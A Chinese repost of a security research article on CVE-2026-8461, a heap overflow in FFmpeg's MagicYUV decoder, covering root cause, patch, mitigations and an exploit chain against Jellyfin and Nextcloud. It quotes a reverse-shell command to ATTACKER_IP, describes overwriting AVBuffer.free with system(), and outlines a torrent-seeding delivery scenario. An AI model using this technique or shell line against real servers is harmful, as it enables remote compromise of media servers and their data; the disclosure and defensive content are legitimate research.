看个视频就中招?FFmpeg高危RCE漏洞拆解

admin 2026-06-26 08:00:57 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: JFrog安全团队披露FFmpeg媒体处理框架中高危RCE漏洞CVE-2026-8461(PixelSmash),该漏洞存在于MagicYUV解码器,可通过恶意视频文件实现堆越界写入,影响Kodi、Nextcloud等大量应用。文章详细分析漏洞成因,演示从崩溃到代码执行的完整利用链,并提供升级版本或禁用解码器等缓解措施。 综合评分: 85 文章分类: 漏洞分析,漏洞预警,解决方案,WEB安全,应用安全


cover_image

看个视频就中招?FFmpeg 高危 RCE 漏洞拆解

原创

骨哥说事 骨哥说事

骨哥说事

2026年6月24日 08:38 上海

在小说阅读器读本章

去阅读

| | | — | | 声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。 |

#

#

防走失:https://gugesay.com/

不想错过任何消息?设置星标↓ ↓ ↓

#

JFrog安全研究团队近日发现并披露了全球部署最广泛的媒体处理框架FFmpeg中的一个严重漏洞。这一名为PixelSmash的漏洞,被编号为CVE-2026-8461,是MagicYUV解码器中的一个堆越界写入漏洞(CVSS评分8.8,高危级)。我们将此漏洞从一个简单的崩溃一路升级,实现了可靠的远程代码执行——整个攻击只需处理一个单一的恶意媒体文件。

这种越界写入足以导致任何使用FFmpeg的应用程序崩溃——从Kodi、mpv等桌面视频播放器,到生成缩略图的Linux文件管理器,再到云端转码管道和自托管媒体服务器。我们通过成功对两个独立目标实现远程代码执行,完整演示了该漏洞的利用过程:分别是Jellyfin媒体服务器(通过自动库扫描触发)和Nextcloud实例(通过视频预览提供程序触发)——在这两种情况下,攻击者只需上传一个精心构造的50 KB AVI文件即可。

建议FFmpeg用户尽快升级到已修复的版本。如果不需要MagicYUV解码器,可以在编译时将其禁用(详见下文的“缓解措施”部分)。

FFmpeg几乎被所有平台的每一个媒体处理应用捆绑或链接使用——这意味着其影响范围极为广泛。我们已确认该漏洞能导致Kodi、mpv、ffmpegthumbnailer(被GNOME、KDE、XFCE使用)、Jellyfin、Emby、Nextcloud、Immich、PhotoPrism和OBS Studio等应用崩溃——并已演示了对Jellyfin的完整远程代码执行攻击。

PixelSmash是一个软件供应链漏洞:FFmpeg中单个编解码器解码器里的一个错误——这个嵌入在数百个下游项目中的基础依赖项——会级联影响到所有链接了 libavcodec 库的应用程序。所有受影响的项目(Jellyfin、mpv、Nextcloud、Immich、OBS、vLLM等)本身都没有引入这个错误。它们是通过对FFmpeg的依赖默默地继承了这个漏洞,并且大多数项目没有独立的机制来检测或缓解它。

在这篇技术博客中,我们将解释此漏洞的根本原因,逐步演示从崩溃到代码执行的完整利用过程,并展示如何通过单个上传的视频文件,对一个Jellyfin媒体服务器实现现实的远程代码执行攻击,最终获取反向Shell。

我们要感谢FFmpeg和Jellyfin安全团队在处理这些问题时做出的积极响应。

谁受到PixelSmash的影响?

攻击前提条件

要利用PixelSmash漏洞,攻击者需要将一个精心构造的媒体文件(AVI、MKV或MOV容器)传递给任何使用FFmpeg的libavcodec库来解码视频的应用程序。这包括:

  • 桌面端:用户在视频播放器中打开恶意文件,或者仅仅浏览到包含该文件的文件夹(文件管理器的缩略图生成器会触发此漏洞)
  • 服务器端:用户将文件上传到媒体服务器(Jellyfin、Emby、Nextcloud、Immich)、聊天平台(Slack、Discord、Telegram)或云端转码服务(AWS MediaConvert、Cloudflare Stream)——服务器会自动处理该文件
  • 嵌入式/IoT设备:任何生成视频缩略图或预览的NAS设备(Synology、QNAP)、智能电视或媒体设备 除了能够传递媒体文件外,攻击不需要任何认证、特殊权限或对目标系统的预先访问——这是任何媒体处理应用程序的默认攻击面。

检测

要检测系统是否包含易受攻击的MagicYUV解码器,请运行:

ffmpeg -decoders 2>/dev/null | grep magicyuv

如果输出包含 VFS..D magicyuv,则你的FFmpeg编译版本存在漏洞。在9.0之前的版本中,MagicYUV解码器在我们测试的每个上游FFmpeg构建和每个发行版软件包(Ubuntu、Debian、Fedora、Arch、Alpine)中都是默认启用的

缓解措施

如果无法立即升级FFmpeg:选项1 – 重新编译FFmpeg时禁用易受攻击的解码器:

./configure --disable-decoder=magicyuv [your other flags]
make && make install

选项2 – 应用最小化补丁(向libavcodec/magicyuv.c添加了7行代码):

&nbsp; &nbsp; &nbsp;if&nbsp;(s->slice_height <=&nbsp;0&nbsp;|| s->slice_height > INT_MAX - avctx->coded_height) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;av_log(avctx, AV_LOG_ERROR,&nbsp;"invalid slice height: %d\n", s->slice_height);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return&nbsp;AVERROR_INVALIDDATA;
&nbsp; &nbsp; &nbsp;}
+ &nbsp; &nbsp;if&nbsp;((s->slice_height >> s->vshift[1]) <= s->interlaced) {
+ &nbsp; &nbsp; &nbsp; &nbsp;av_log(avctx, AV_LOG_ERROR,&nbsp;"impossible slice height\n");
+ &nbsp; &nbsp; &nbsp; &nbsp;return&nbsp;AVERROR_INVALIDDATA;
+ &nbsp; &nbsp;}
+ &nbsp; &nbsp;if&nbsp;((avctx->coded_height % s->slice_height) && ((avctx->coded_height % s->slice_height) >> s->vshift[1]) <= s->interlaced) {
+ &nbsp; &nbsp; &nbsp; &nbsp;av_log(avctx, AV_LOG_ERROR,&nbsp;"impossible height\n");
+ &nbsp; &nbsp; &nbsp; &nbsp;return&nbsp;AVERROR_INVALIDDATA;
+ &nbsp; &nbsp;}

这个补丁会拒绝触发越界写入的畸形slice_height值。参考的MagicYUV编码器总是输出对齐的切片高度,因此这只会拒绝恶意输入。

深入探究PixelSmash漏洞

FFmpeg与媒体编解码器——一个普遍的攻击面

FFmpeg是整个软件生态系统中媒体处理的支柱。几乎所有涉及视频的应用程序都会链接或捆绑它——从桌面播放器(mpv、VLC)到自托管媒体服务器(Jellyfin、Plex、Emby),再到云端转码管道(AWS MediaConvert、Cloudflare Stream),以及Linux桌面环境(GNOME、KDE、XFCE用它来生成视频缩略图)。

FFmpeg的 libavcodec 库包含数百个视频和音频编解码器的解码器。每个解码器都会解析攻击者控制的比特流数据,并将解码后的像素写入堆分配的帧缓冲区。任何应用程序处理相应媒体格式时都可能触发编解码器中的错误,这使得编解码器错误成为软件生态系统中潜在影响最高的漏洞类别之一。

MagicYUV 是为高性能视频编辑工作流程设计的无损视频编解码器。虽然不如H.264或VP9那样广为人知,但其解码器被编译到每个默认的FFmpeg构建中,并注册用于AVI、MKV和MOV容器。任何可以打开视频文件的应用程序都能触发MagicYUV解码器。

CVE-2026-8461 – MagicYUV解码器中的堆越界写入

背景

在视频压缩中,切片(slice)是单个视频帧中一个独立的、水平划分的区域,可以独立于帧的其余部分进行解码。

数字视频很少以标准RGB(红、绿、蓝)格式存储图像。相反,它使用YUV色彩空间,该空间将图像分割成独立的层或“平面”:

  • Y(亮度平面):图像的亮度或灰度细节。人眼对亮度的感知非常敏锐。
  • U和V(色度平面):实际的色彩信息。人眼对细微色彩细节的感知能力要差得多。

根本原因:舍入不匹配

该漏洞是MagicYUV解码器切片处理中的一个单行(row)堆缓冲区溢出,由帧分配器和解码器在计算色度平面高度时的不一致性引起。

MagicYUV以水平切片对视频进行编码。对于像YUV420P这样的子采样像素格式(色度平面的垂直分辨率为亮度平面的一半),解码器必须使用向上取整的右移位将切片高度从亮度行转换为色度行*。

问题在于:当slice_height为奇数时,向上取整的移位(AV_CEIL_RSHIFT)会给每个切片增加额外的一行。经过多个切片后,这些额外的行数累积起来,会超过为色度平面分配的缓冲区的末尾*。

问题的产生可以分解为以下几个步骤:

  1. 帧分配器计算色度平面缓冲区应该有多高。在update_frame_pool (get_buffer.c)中,帧高度先对齐到32,然后为色度平面减半:
allocated chroma rows = AV_CEIL_RSHIFT(FFALIGN(32,&nbsp;32),&nbsp;1) =&nbsp;16

色度平面缓冲区被分配了16行。 2. 解码器从攻击者控制的比特流中直接读取slice_height (magicyuv.c:550):

s->slice_height = bytestream2_get_le32u(&gb);

使用我们构造的值slice_height = 31和coded_height = 32,解码器计算出:

// magicyuv.c:559 - 切片数量
s->nb_slices = (32&nbsp;+&nbsp;31&nbsp;-&nbsp;1) /&nbsp;31&nbsp;=&nbsp;2;

// magicyuv.c:275 - 每个切片的色度行数(向上取整)
int&nbsp;sheight = AV_CEIL_RSHIFT(31,&nbsp;1) =&nbsp;16;
  1. 对于第二个(最后一个)切片,解码器计算目标指针:
// magicyuv.c:287
dst = p->data[1] + j * height * stride
&nbsp; &nbsp; = p->data[1] +&nbsp;1&nbsp;*&nbsp;16&nbsp;* stride &nbsp; &nbsp;// 对一个16行的缓冲区写入第16行!

色度缓冲区的行编号为0-15(共16行)。解码器却写入了第16行——完全位于分配的末尾之外。

  1. 越界写入发生。在原始模式(raw mode)下,解码器直接复制攻击者控制的字节:
// magicyuv.c:291-294
for&nbsp;(k =&nbsp;0; k < height; k++) {
&nbsp; &nbsp; bytestream_get_buffer(&slice, dst, width); &nbsp;// 越界写入
&nbsp; &nbsp; dst += stride;
}

当width = 640时(对于我们的coded_width = 1280,为色度平面减半),这会将640个完全由攻击者控制的字节直接放入紧邻色度平面缓冲区之后的堆内存块中。

magicyuv.c:566处已有的slice_height验证仅检查隔行扫描的代码路径——我们利用的非隔行扫描路径完全没有对齐检查:

// magicyuv.c:566-568 - 仅针对隔行扫描模式的防护
if&nbsp;(s->interlaced) {
&nbsp; &nbsp;&nbsp;if&nbsp;((s->slice_height >> s->vshift[1]) <&nbsp;2)

来自上游主分支的ASAN报告精确地确认了溢出:

==PID==ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size&nbsp;512&nbsp;at&nbsp;0x52500000214f&nbsp;thread T0
&nbsp; &nbsp; #2&nbsp;bytestream_get_buffer libavcodec/bytestream.h:367
&nbsp; &nbsp; #3&nbsp;magy_decode_slice libavcodec/magicyuv.c:292
&nbsp; &nbsp; #5&nbsp;magy_decode_frame libavcodec/magicyuv.c:630

0x52500000214f&nbsp;is located&nbsp;0&nbsp;bytes after&nbsp;8271-byte region

图1 – 堆布局

从越界写入到代码执行:劫持AVBuffer

只有当攻击者能够覆盖有意义的内容时,堆溢出才是有用的。在FFmpeg的堆布局中,这个目标就是AVBuffer结构体——这是在每个平面的像素数据之后、FFmpeg立即分配的一个引用计数(buffer)管理对象。

当FFmpeg完成一帧的解码后,它会调用av_frame_unref,该函数会遍历每个平面的缓冲区引用并调用av_buffer_unref。在av_buffer_unref内部(libavutil/buffer.c:133),当引用计数(refcount)降至零时:

buf->free(buf->opaque, buf->data);

这是一个通过存储在堆中的函数指针进行的间接调用。如果我们能用libc的system()地址覆盖buf->free,并用指向Shell命令字符串的指针覆盖buf->opaque,那么这个间接调用就会变成:

system(cmd_string); &nbsp;&nbsp;// 攻击者的Shell命令被执行

我们对640字节的越界写入直接落在Cb色度平面的AVBuffer结构体上。通过在Jellyfin捆绑的jellyfin-ffmpeg 7.1.3上使用GDB捕获的越界区域堆布局如下:

OOB + 0: &nbsp; &nbsp; [88字节的零区域 - 命令字符串的空洞]
OOB + 88: &nbsp; &nbsp;[glibc 内存块头 - 必须保留]
OOB + 256: &nbsp; AVBuffer 结构体:
&nbsp; +256 &nbsp; &nbsp; &nbsp; &nbsp; .data &nbsp; &nbsp; &nbsp;= Cb_data 指针
&nbsp; +264 &nbsp; &nbsp; &nbsp; &nbsp; .size &nbsp; &nbsp; &nbsp;= 0x284f
&nbsp; +272 &nbsp; &nbsp; &nbsp; &nbsp; .refcount &nbsp;= 1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<- 我们写入 1
&nbsp; +280 &nbsp; &nbsp; &nbsp; &nbsp; .free &nbsp; &nbsp; &nbsp;= &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<- 我们覆盖为 &system
&nbsp; +288 &nbsp; &nbsp; &nbsp; &nbsp; .opaque &nbsp; &nbsp;= &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<- 我们覆盖为 &cmd_string OOB + 384: AVBufferRef.buffer -> 指回+256处的AVBuffer

漏洞利用将一条以NUL结尾的Shell命令放置在越界偏移0处(那是88字节的零空洞,没有glibc元数据),然后覆盖:

  • AVBuffer.free -> libc system()函数的地址
  • AVBuffer.opaque -> OOB + 0处命令字符串的堆地址
  • AVBuffer.refcount -> 1(这样递减操作会达到零并触发调用) 当av_buffer_unref在正常的帧清理过程中被调用时,间接调用就变成了system(“attacker_command”)。在父进程FFmpeg因后续的堆损坏而崩溃之前,已经fork出的Shell子进程就会执行命令——攻击的副作用已经产生。

关键的挑战在于:越界区域的glibc malloc内存块头部必须完全保持不变,否则对不相关分配的任何free()调用都会在我们将要劫持的av_buffer_unref运行之前检测到损坏并中止进程。我们的漏洞利用将目标堆中观察到的确切内存块元数据编码到越界载荷中,并使用左预测编码来匹配MagicYUV的解压算法*。

图2 – 漏洞利用流程

从崩溃到远程代码执行:升级攻击原语

堆越界写入不仅导致拒绝服务。我们将其成功升级为针对Jellyfin捆绑的FFmpeg 7.1.3版本的可靠的任意命令执行。

重要说明:此演示已禁用地址空间布局随机化(ASLR)。我们的漏洞利用需要system()和越界命令字符串的硬编码地址,这意味着只有在禁用ASLR(使用setarch x86_64 -R)时才能确定性地工作。在启用ASLR的默认Linux配置中,地址在每次执行时都会随机化,漏洞利用无法成功。然而,我们在FFmpeg的FlashSV解码器(libavcodec/flashsv.c)中发现了另一个独立的信息泄露漏洞——一个自2022年7月以来一直存在于上游FFmpeg中,且在本文发布时仍未修复的未初始化堆内存泄露漏洞。该漏洞仅在ffmpeg使用特定环境标志(例如-threads 1)时才能被利用——因此其严重性仅为提示性(informational)。原则上,未来可能发现的类似信息泄露漏洞可以链接MagicYUV越界写入漏洞,以绕过ASLR并在全缓解措施下实现远程代码执行——但这种链接需要进一步研究,目前尚未得到演示。单独的MagicYUV越界写入漏洞(无需绕过ASLR)足以对所有已测试的目标实现可靠的拒绝服务攻击(DoS)。

将此攻击原语升级到远程代码执行(RCE)需要解决三个工程挑战:

  1. 精确的堆布局校准:越界载荷必须在正确的偏移量处写入正确的值才能命中AVBuffer结构体。我们建立了一个基于GDB的自动校准管道,能捕获越界写入发生前的确切堆状态,提取所有内存块元数据四字(qwords),并生成精确的漏洞利用AVI/MKV/MOV文件。
  2. 保持glibc内存块的完整性:640字节的越界区域包含glibc malloc内存块头部(空闲列表指针、内存块大小、PREV_INUSE标志)。即使其中一个被损坏,glibc的完整性检查也会在我们的劫持av_buffer_unref运行之前中止进程。我们的漏洞利用精确地保留了所有33个元数据四字,使其与活动堆中的状态保持一致。
  3. Cr平面越界区域的保留:Cb和Cr两个色度平面都有越界写入(各一行)。Cr的越界区域包含一个tcache条目和glibc的顶部内存块(top chunk)。如果顶部内存块大小被损坏,system()内部为fork()/exec()进行的malloc调用会失败。我们的漏洞利用对确切的Cr堆元数据进行编码以保留它*。

现实世界的利用:Jellyfin媒体服务器远程代码执行

为了演示现实世界的影响,我们通过其正常的媒体库扫描管道,对一个Jellyfin 10.11.9媒体服务器(仅次于Plex的第二大流行自托管媒体服务器)实现了完整的远程代码执行。

攻击路径:将精心构造的MagicYUV AVI文件下载到媒体库 -> Jellyfin自动触发ffprobe进行元数据提取 -> 越界写入发生 -> AVBuffer.free被劫持指向system() -> 任意命令以jellyfin服务用户身份(uid 115)执行。

校准:为何堆布局至关重要

越界区域的堆布局取决于确切的ffprobe命令行参数和输入文件路径的长度。我们通过三个完整的重新校准周期发现了这一点:

  1. 基础参数会改变堆布局:Jellyfin的ffprobe调用所包含的标志在单纯的ffprobe调用中并不存在(通过strace捕获运行中的Jellyfin进程得出):
ffprobe -analyzeduration 200M -probesize 1G -threads 0 -v warning
&nbsp; &nbsp; &nbsp; &nbsp; -print_format json -show_streams -show_chapters -show_format
&nbsp; &nbsp; &nbsp; &nbsp; -show_frames -only_first_vframe -i file:
  1. -threads 0 标志使堆布局偏移约0x200:多线程选项导致额外的线程上下文分配,从而将色度缓冲区推送到不同的堆地址。
  2. 文件路径长度会按长度类别大致偏移堆大约0x40:file:/tmp/test.avi(短路径)产生的布局与file:/var/lib/jellyfin/media/movies/Summer_Memories_2026.avi(生产环境路径)不同。等长的文件名产生相同的布局——这一关键洞察使得漏洞利用对于一个已知部署是确定性的。

漏洞利用

我们最终的校准目标是一个60字符的文件路径(匹配Jellyfin的默认媒体库结构)。漏洞利用的AVI文件:

  • 将Shell命令(bash -c ‘bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1’)放置在越界偏移0处的88字节零空洞中。
  • 保留Cb越界区域中所有33个glibc内存块元数据四字。
  • 保留Cr越界区域的tcache条目和顶部内存块(关键点:如果顶部内存块大小被损坏,system()内部的fork()/exec()路径会失败)。
  • 用system()地址覆盖AVBuffer.free,并用命令字符串地址覆盖AVBuffer.opaque。 整个漏洞利用载荷最终成为一个单一的50 KB AVI文件(但它也可以是MKV或MOV容器)。

结果:通过视频上传获取反向Shell

我们在攻击机器上设置好监听器,并触发了Jellyfin的库扫描(此演示已禁用ASLR——参见上文关于ASLR的讨论)。Jellyfin的ffprobe处理上传文件几秒钟内,我们就收到一个以Jellyfin服务用户身份运行的反向Shell:

$ nc -l&nbsp;4444
jellyfin@ubuntu-vm:~$ id
uid=115(jellyfin) gid=121(jellyfin) groups=121(jellyfin),29(audio),44(video),100(users)
jellyfin@ubuntu-vm:~$ whoami
jellyfin

从Jellyfin用户上下文出发,攻击者可以访问所有媒体库、服务器配置、API密钥,并且(根据部署情况)可能能够渗透(pivot)或进行横向移动到网络上的其他服务。

通过种子下载的零点击攻击

一个特别危险的现实世界攻击媒介是针对媒体服务器库的种子下载。许多Jellyfin用户将他们的种子客户端(qBittorrent、Transmission、Deluge)配置为直接下载到Jellyfin监控的媒体库文件夹——例如,/var/lib/jellyfin/media/movies/。

除了最初的种子下载外,攻击不需要任何交互:

  • 攻击者在公共种子追踪器上播种一个伪装成流行电影的恶意MagicYUV AVI文件(例如,Blockbuster_Movie_2026_1080p.avi,50 KB)。
  • 受害者的种子客户端直接将该文件下载到Jellyfin的媒体库文件夹中。
  • Jellyfin的实时文件系统监视器检测到新文件,并自动触发ffprobe元数据扫描。
  • 扫描过程中漏洞被触发——AVBuffer.free被劫持指向system(),攻击者的反向Shell命令以jellyfin服务用户身份执行。 种子下载完成后不需要任何用户交互。受害者永远不需要打开、播放甚至查看这个文件——Jellyfin的自动库扫描会处理一切。这使得种子下载成为常见家庭媒体服务器配置中的真正零点击攻击媒介。

同样的攻击媒介适用于任何自动化媒体管道,其中下载的文件会落入受监控的目录:Sonarr/Radarr -> Jellyfin,NZBGet -> Emby,或任何“监视文件夹”模式,只要新文件会触发基于ffmpeg的处理。

图3 – 现实世界攻击

关于jemalloc的说明: Jellyfin的 /etc/default/jellyfin 包含一条注释掉的 LD_PRELOAD 行,用于加载 libjemalloc2。如果用户或发行版启用了它,jemalloc 的不同堆布局将阻止我们基于glibc校准的漏洞利用成功——但在默认配置中,没有任何东西被设计来阻止此攻击,这仅仅是一种巧合情况下的防护。在默认的apt安装中,jemalloc 并未启用,因此我们的漏洞利用所依赖的glibc堆布局正是ffprobe开箱即用时的堆布局。

现实世界利用:通过预览生成在Nextcloud实现远程代码执行

为了证明该漏洞在不同应用程序和FFmpeg版本中的广泛适用性,我们将远程代码执行攻击链移植到了Nextcloud——领先行业的自托管云存储平台——它使用了一个完全独立的FFmpeg构建。

Nextcloud 有一个可选的电影预览提供程序(OC\Preview\Movie),它会调用系统的 ffmpeg 二进制文件来生成缩略图。当此功能激活时,仅仅在文件应用(Files app)中浏览任何没有缓存预览的视频就会触发漏洞。

除了确保文件在文件夹列表中可见外,攻击者无需任何其他交互;服务器端的处理会处理其余一切,这使其成为一个近乎零点击的攻击媒介。

一个攻击路径的例子:用户通过网页界面上传构造的AVI文件 -> 文件出现在文件视图(Files view)中 -> Nextcloud为元数据和预览提取启动ffmpeg进程 -> MagicYUV 越界写入触发 -> AVBuffer.free被劫持指向system() -> 任意命令以www-data用户身份执行。

www-data上下文权限很高:它可以直接访问所有用户数据、config.php中的数据库凭据,并提供了一个通往内部网络的强大跳板(pivot point)。

此攻击是完全静默的。在网页界面中,唯一的迹象是应该显示缩略图的地方出现一个通用文件图标。没有错误或弹窗警告用户,由此产生的崩溃被埋没在通常缺乏管理员监控的服务器端日志中。

生态系统影响:波及每个媒体堆栈的拒绝服务

即使没有远程代码执行攻击链,单独的MagicYUV越界写入就能导致我们测试的每一个主流媒体处理应用程序立即崩溃:

表1:受影响目标和行为

| 目标 | 如何使用FFmpeg | 崩溃行为 | | — | — | — | | mpv (桌面播放器) | 链接系统libavcodec | munmap_chunk(): invalid pointer – SIGABRT | | Kodi | 链接系统libavcodec | 崩溃 | | ffmpegthumbnailer (被GNOME/KDE/XFCE使用) | 链接系统libavcodec | SIGSEGV, core dumped | | Jellyfin 10.11.9 | 捆绑的jellyfin-ffmpeg 7.1.3 | 静默堆损坏(无崩溃,无错误) | | Emby 4.8.11 | 捆绑的emby-ffmpeg 5.1 | 静默堆损坏,退出码为 0 | | Nextcloud (预览工作进程) | 系统的ffmpeg(通过shell调用) | 崩溃 + 以 www-data 身份获得远程代码执行(RCE)| 非默认配置(电影预览提供程序,Movie preview provider) | | Immich (转码服务) | 系统ffmpeg | SIGABTR | | PhotoPrism (海报提取) | 系统ffmpeg | SIGABTR | | OBS Studio | 系统libavcodec | 崩溃 |

该文件仅50 KB,且可在三种容器格式中工作:

表2:容器格式支持

| 容器 | MagicYUV 是否被接受? | 是否导致 FFmpeg 崩溃? | | — | — | — | | AVI | 是 | 是 | | MKV / Matroska | 是 | 是 | | MOV / QuickTime | 是 | 是 | | MP4 | 否(编解码器未在MP4注册表中) | 不适用(N/A) |

影响范围潜在的巨大供应链漏洞

上表说明了为什么PixelSmash归根结底是一个供应链漏洞。FFmpeg的libavcodec是媒体解码的标准库,它作为一个传递性依赖项(transitive dependency)被嵌入到几乎每一个处理视频的应用程序中。MagicYUV解码器在上游的每一个构建中都是默认启用的,下游项目在没有任何明确选择加入(opt-in)的情况下就继承了它。

这意味着magicyuv.c中的单个错误——这600行特定于编解码器的代码,大多数下游维护者从未阅读过——会静默地传播到mpv、Jellyfin、Emby、Nextcloud、Immich、PhotoPrism、OBS、vLLM以及其他数百个项目中。这些项目中的每一个都信任FFmpeg能安全地处理不可信的输入。它们都没有能力或专业知识去审计单个编解码器解码器。这就是供应链问题的本质;你的攻击面包含了你所分发的每个依赖项中的每一行代码,无论你是否阅读过它。

Plex采用的方法是——配置FFmpeg时使用 --disable-decoders 和一个最小的白名单(allow-list)——这是我们所观察到的唯一有效的防御措施。它也是最罕见的:在我们测试的每一个项目中,只有Plex采取了这一步骤。

图4 – 供应链影响

静默堆损坏比直接崩溃更糟糕

Jellyfin和Emby会以退出码0且没有错误输出的方式处理恶意文件。这并非安全的标志;无论哪种方式,堆都已经静默地损坏了。使用ASAN(AddressSanitizer)插桩构建的相同ffmpeg版本确认了完全相同的640字节越界写入会发生。生产环境的二进制文件只是在已损坏的内存块上没有触发glibc的完整性检查。

一个长期运行的Jellyfin服务器在处理了数百个恶意上传文件后,每一次都会累积堆损坏,但对管理员来说却没有任何错误信号。这可能是最糟糕的故障模式:服务器正遭受主动利用,而任何日志中都找不到提示操作员的内容。

SaaS层面的成本放大(理论上)

每个接受用户上传媒体的云视频处理管道都运行着基于ffmpeg的工作进程(workers)。失败的作业会重试——而每次重试都会重新触发崩溃:

表3:重试预算与成本放大

| 重试预算 | 每个50 KB上传的成本放大倍数 | | — | — | | AWS Lambda 默认(3次重试) | 13.7x | | Sidekiq 默认(25次重试) | ~114x | | AWS Step Functions (MaxAttempts: 10) | ~46x |

理论上的计算是:以1 KB/s(远低于任何速率限制)的速度持续上传恶意文件,仅AWS Lambda一项每天就会让防御方损失约200美元。在网络出口价格上,不对称的成本比例(asymmetric cost ratio)约为50,000:1,对攻击者极为有利。

超越直接视频播放的攻击面

只要代码路径将MagicYUV流通过libavcodec的解码器处理,此漏洞就会被触发。除了直接播放外,这还包括:

  • 缩略图生成:Linux文件管理器(Nautilus、Dolphin、Thunar)当用户仅仅浏览到包含恶意文件的目录时就会启动ffmpegthumbnailer——无需点击。
  • 预览生成:NAS设备(Synology DSM、QNAP)、照片管理器(Immich、PhotoPrism)和云存储(Nextcloud——已确认可远程代码执行,见上文)在上传时生成缩略图。
  • 元数据提取:媒体服务器运行ffprobe来提取流信息——Jellyfin的自动扫描会在库中每个新文件出现时触发。
  • 机器学习/人工智能管道:使用PyAV/libavcodec解码视频输入的多模态AI框架,如vLLM(已确认造成拒绝服务DoS,3/3次SIGSEGV)。
  • 聊天平台:Slack、Discord、Telegram和WhatsApp都使用ffmpeg生成服务器端的视频预览(其工程博客中记载了相关架构;未在生产环境测试)。

新兴攻击面:人工智能/机器学习及其他领域

该漏洞的影响范围远远超出了传统的媒体应用,我们建议人工智能/机器学习生态系统中使用FFmpeg处理视频的几个高价值目标调查其暴露情况:

表4:人工智能/机器学习领域的潜在影响

| 目标 | 如何使用FFmpeg | 影响 | | — | — | — | | vLLM | 使用PyAV(进程内FFmpeg绑定)对输入视频进行解码,用于多模态大语言模型(LLM)推理。我们已确认DoS:3/3次SIGSEGV。 | 推理工作进程崩溃;在共享部署中,会导致所有用户的服务器进程崩溃 | | LLaVA / LLaVA-NeXT | 多模态视觉语言模型。解码管道使用PyAV或OpenCV。 | 工作进程崩溃;在长期运行的服务器进程中可能导致堆损坏。 | | OpenCV (cv2.VideoCapture) | 链接系统libavcodec。在机器学习训练管道中普遍使用。 | 对恶意文件执行任何VideoCapture.read()都会导致SIGABRT | | Hugging Face Datasets | 通过PyAV或ffmpeg子进程加载视频数据集。 | 数据集加载期间崩溃;被投毒的数据集条目可能导致训练运行中断(DoS) | | NVIDIA DALI | GPU加速的数据加载管道。可以使用FFmpeg后端。 | 工作进程崩溃;在分布式训练中可能导致级联故障 | | Ray Data / Ray Serve | 分布式数据处理和模型服务。 | 崩溃会跨Ray工作进程传播;单个恶意视频会中断整个集群 | | Roboflow / Supervisely / CVAT | 计算机视觉标注平台。接收用户上传的视频。 | 上传时服务器端崩溃;标注工作进程中的堆损坏 |

所有这些目标的共同模式是:它们从不信任的来源(用户上传、网络爬取、公共数据集、模型提示词)接收视频,并通过libavcodec在未经编解码器过滤的情况下进行处理。MagicYUV解码器在每个默认构建中都是启用的。

我们直接验证了vLLM的DoS影响并确认了崩溃。由于堆布局差异,通过AVBuffer覆盖实现远程代码执行(RCE)的原语不能直接从FFmpeg 7.1.3移植到libavcodec 4.4(Ubuntu 22.04上PyAV链接的版本)——AVBuffer结构体位于色度平面末尾之前的14 KB处,而不是之后的256字节,使其超出了越界写入的范围。然而,替代的利用策略(通过越界范围内的内存块元数据进行快速内存块攻击,或_IO_FILE虚函数表劫持)仍然是可行的,值得进一步研究。

我们建议处理视频输入的人工智能/机器学习基础设施运营团队审计其FFmpeg依赖项,并应用补丁或禁用MagicYUV解码器。

披露时间线

表 5:信息披露时间线

| 日期 | 事件 | | — | — | | 2026年5月13日 | JFrog安全研究团队向FFmpeg安全团队([email protected])报告了漏洞。 | | 2026年5月19日 | FFmpeg安全团队确认收到报告。 | | 2026年5月24日 | JFrog安全研究团队向Jellyfin安全团队([email protected])报告了漏洞 | | 2026年5月26日 | Jellyfin安全团队升级了其上游版本 | | 2026年5月26日 | 向mpv、obsproject、photoprism、immich的安全团队报告,并通过Nextcloud漏洞赏金计划提交了报告 | | 2026年5月27日 | Photoprism安全团队在其GitHub上创建了一个问题,计划排除一系列ffmpeg格式和编解码器。 The Nextcloud团队在HackerOne上回应称,他们认为这不是一个问题,因为漏洞存在于Nextcloud之外。 | | 2026年5月31日 | 向vLLM安全团队报告 | | 2026年6月7日 | 向Kodi团队报告 | | 2026年6月17日 | FFmpeg发布了包含修复CVE-2026-8461的补丁版本(8.1.2)。 | | 2026年6月18日 | CVE编号发布。 | | 2026年6月22日 | JFrog安全研究团队发布本文。 |

原文:https://jfrog.com/blog/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons/

  • END –

感谢阅读,如果觉得还不错的话,动动手指给个三连吧~


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:骨哥说事 骨哥说事 骨哥说事《看个视频就中招?FFmpeg 高危 RCE 漏洞拆解》

评论:0   参与:  0